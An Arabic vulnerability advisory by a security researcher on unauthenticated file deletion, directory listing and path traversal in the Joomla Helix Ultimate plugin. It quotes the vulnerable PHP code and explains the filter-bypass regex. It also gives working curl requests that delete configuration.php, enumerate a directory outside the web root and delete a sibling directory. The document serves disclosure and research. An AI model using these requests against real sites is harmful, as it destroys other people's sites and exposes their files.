
حذف غير مصادق عليه للملفات/المجلدات بشكل تعسفي في Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
هذه ثغرة DoS مؤكدة + وصول إلى نظام الملفات عبر المستأجرين، وليست RCE. نظرية تصعيد RCE (حذف configuration.php لإعادة كشف مثبت Joomla) تم اختبارها مباشرة وتم دحضها — انظر "تصعيد RCE — تم اختباره ودحضه" أدناه. لا تمثل هذا على أنه RCE في أي تقرير دون إعادة استخلاص سلسلة حقيقية أولاً.
ترقية الشدة (2026-07-06، المرور الثاني): المعامل path ليس محصوراً بأمان في الجذر الشبكي لـ Joomla كما تم تقديره أولاً — مرشح الإدخال PATH في Joomla لا يحجب مكون تجاوز واحد /../، لذا تصل هذه الثغرة (القراءة: قائمة كاملة بالدليل؛ الكتابة: حذف ملف أو مسح محتويات مجلد بشكل تكراري) إلى أي شيء في نظام الملفات يمكن لمستخدم خادم الويب الوصول إليه، وليس فقط الملفات داخل تثبيت Joomla. في أي ترتيب استضافة مشتركة حيث توجد مواقع/مستأجرون متعددون كأدلة شقيقة تحت نفس مستخدم نظام التشغيل (شائع جداً: "نطاقات إضافية" في cPanel، اشتراكات Plesk تشارك مستخدم نظام، معظم الاستضافة الاقتصادية)، موقع واحد مدعوم بـ Helix-Ultimate يتيح لزائر مجهول تدمير كل موقع آخر على نفس الحساب. انظر "تجاوز المسار يهرب من JPATH_ROOT بالكامل" أدناه للإثبات الحي.
المكون: JoomShaper Helix Ultimate Framework (plg_system_helixultimate)، مرفق مع كل قالب JoomShaper لـ Joomla تقريباً (مبني على Helix Ultimate).
الإصدار المختبر: 2.2.6 (GitHub JoomShaper/helix-ultimate، HEAD كما في 2026-07، آخر دفع 2026-06-30)
المؤلف: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php يكشف عن deleteMedia() و getFolders() و createFolder() من خلال خطاف توزيع com_ajax في Joomla داخل helixultimate.php::onAfterRoute(). هذه الطرق الثلاث تستدعي فقط Session::checkToken() (فحص CSRF بسيط، يرضيه رمز الجلسة الخاص بأي زائر مجهول — يمكن حصده من HTML الصفحة الرئيسية للموقع) — لا يوجد فحص authorise() / تسجيل دخول على الإطلاق. هذا غير متسق مع الطريقة الشقيقة uploadMedia() في نفس الصنف، والتي تتطلب بشكل صحيح core.edit على com_templates.
لأن هذا إضافة نظام (system plugin)، يتم تشغيل onAfterRoute() في كل طلب بغض النظر عن القالب النشط حالياً — مسار الكود الضعيف يمكن الوصول إليه طالما أن الإضافة مثبتة ومفعلة (وهي كذلك، افتراضياً، في أي موقع يستخدم قالب JoomShaper مبني على Helix-Ultimate).
plugins/system/helixultimate/helixultimate.php (حوالي السطر 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
يمر $path عبر مرشح الإدخال PATH في Joomla (InputFilter::cleanPath()). شيئان مستقلان يجعلان هذا خطيراً:
path مباشرة تحت JPATH_ROOT، لذا أي مسار مطلق من الجذر (/configuration.php، /administrator/...، /media/...) يمكن الوصول إليه بالفعل.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) يسمح بتشغيل واحد بالضبط من أحرف النقطة/الشرطة/الألفا-رقمية بعد الكتلة الأولى [A-Za-z0-9_/-]+ مباشرة — وشرطة مائلة في البداية / وحدها ترضي تلك الكتلة الأولى، لذا سلسلة مثل /../sibling_dir تطابق بشكل نظيف: / (الكتلة 1)، .. (التشغيل النقطي المسموح به)، /sibling_dir (مقطع ذيل عادي). كُتب المرشح ليرفض مقطعاً يبدأ مكون /… جديداً بنقطة، لكنه لم يتوقع أبداً نقطتين فرديتين .. تقعان مباشرة بعد أول حرف في السلسلة. تسلسل ../../.. لا ينجو (كل مقطع /… لاحق بعد أول تشغيل نقطي يجب أن يبدأ بحرف غير نقطة) — لذا يقتصر الهروب على بالضبط مستوى دليل واحد فوق JPATH_ROOT، لكن كل شيء تحت ذلك المستوى (عمق تعسفي) يمكن الوصول إليه بشكل طبيعي، لأن المقاطع الإضافية هي مجرد مكونات مسار عادية غير نقطية.configuration.php → تعطل كامل فوري للموقع (خطأ فادح "No configuration")، طلب HTTP واحد، بدون مصادقة.type=folder) → مثلاً /administrator، /components، /media → أكثر تدميراً، يدمر التثبيت بشكل فعال.view-media (Media::getFolders()): يسرد جميع ملفات الصور، جميع أسماء المجلدات الفرعية، ومسارات الخادم المطلقة تحت أي مسار نسبي للجذر، بدون مصادقة (يُستخدم أدناه كإشارة كشف آمنة).تم الاختبار ضد مثيل Docker مؤقت (Joomla 5.4.6 + إضافة Helix Ultimate 2.2.6، تثبيت جديد، جلسة متصفح مجهولة بالكامل — لا تسجيل دخول، لا ملف تعريف ارتباط بخلاف الذي يمنحه Joomla لكل زائر):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
تم إنشاء دليل شقيق للجذر الشبكي لـ Joomla (/var/www/canary_sibling، شقيق /var/www/html)، مملوك لنفس مستخدم خادم الويب (www-data) لمحاكاة تخطيط استضافة مشتركة واقعي، معبأ بملف وصورة ودليل فرعي:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
قراءة/تعداد كامل لدليل تماماً خارج تثبيت Joomla، بما في ذلك مسارات الخادم المطلقة المحلولة، بدون مصادقة على الإطلاق.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"